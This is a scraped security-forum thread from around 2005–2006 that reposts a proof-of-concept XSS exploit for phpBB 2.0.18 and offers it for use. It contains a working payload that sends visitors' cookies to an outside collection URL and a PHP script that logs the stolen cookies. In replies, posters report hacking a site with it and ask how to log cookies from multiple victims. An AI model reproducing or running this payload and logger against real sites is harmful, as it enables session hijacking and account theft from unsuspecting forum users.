Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 8, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 274
Members: 0
Total: 274
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> 2.0.18 Proof
Post new topic  Reply to topic View previous topic :: View next topic 
2.0.18 Proof
PostPosted: Fri Dec 23, 2005 12:20 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




Topic : phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept

ExploitAlert Id : 193

Credit : jet

Date : 22.12.2005

Exploit Code :

# SecurityReason Source :
# http://securityreason.com/achievement_securityalert/29
# More : http://securityreason.com/achievement
/******************************************************************

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
-- 'the html is on exploit'

original exploit by: Maksymilian Arciemowicz (cXIb8O3) - 12/16/2005
-- http://securityreason.com/securityalert/269/
proof of concept by: jet
-- http://jet.carbon-4.net/

develop a pure, lucid mind, not
depending upon sound, flavor,
touch, odor, or any quality.
- the diamond sutra

******************************************************************/

phpbb code:

<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));
'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.s
ss=null`style='font-size:0; X="<B ">'</B>

c.php:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);

?>
View user's profile Send private message
PostPosted: Fri Dec 23, 2005 12:22 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




I can not get it to work myself on 1 site did not try others. If someone does let me know.
View user's profile Send private message
PostPosted: Fri Dec 23, 2005 9:42 am Reply with quote
super
Active user
Active user
 
Joined: Sep 19, 2005
Posts: 30




its working nicely Smile one phpBB 2.0.18 site hacked buy me for using this exploit Smile
View user's profile Send private message
PostPosted: Sat Dec 24, 2005 8:45 pm Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions?
View user's profile Send private message
PostPosted: Sat Dec 31, 2005 1:16 pm Reply with quote
WaterBird
Active user
Active user
 
Joined: May 16, 2005
Posts: 37




syntax9 wrote:
finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions?


I think forum you wan't to sploit don't have the html tags enabled.
View user's profile Send private message
PostPosted: Thu Jan 05, 2006 5:16 am Reply with quote
chuan
Regular user
Regular user
 
Joined: Jan 05, 2006
Posts: 7




newbie here.can teach me how to go about it? Very Happy
View user's profile Send private message
PostPosted: Sat Jan 07, 2006 10:25 pm Reply with quote
rohit507
Beginner
Beginner
 
Joined: Dec 22, 2005
Posts: 3




I am a true PHP newb but i have beeen reading up a little, neway how would i write a cookie.php which will allow me to log multiple cookies and not over write the ones previously logged
View user's profile Send private message
PostPosted: Sun Jan 08, 2006 12:45 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




Code:
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");



opens the file,
then writes to the files.

does not produce a new file, just edits the exisiting.
be sure to CHMOD the File 777 so the "target forum" can open and write to it.

GL
View user's profile Send private message
PostPosted: Sun Jan 08, 2006 4:19 am Reply with quote
chuan
Regular user
Regular user
 
Joined: Jan 05, 2006
Posts: 7




syntax9 wrote:
Code:
$fl = fopen('log.txt', 'a');
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");



opens the file,
then writes to the files.

does not produce a new file, just edits the exisiting.
be sure to CHMOD the File 777 so the "target forum" can open and write to it.

GL


??
where to start?can elaborate?
View user's profile Send private message
2.0.18 Proof
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.082 Seconds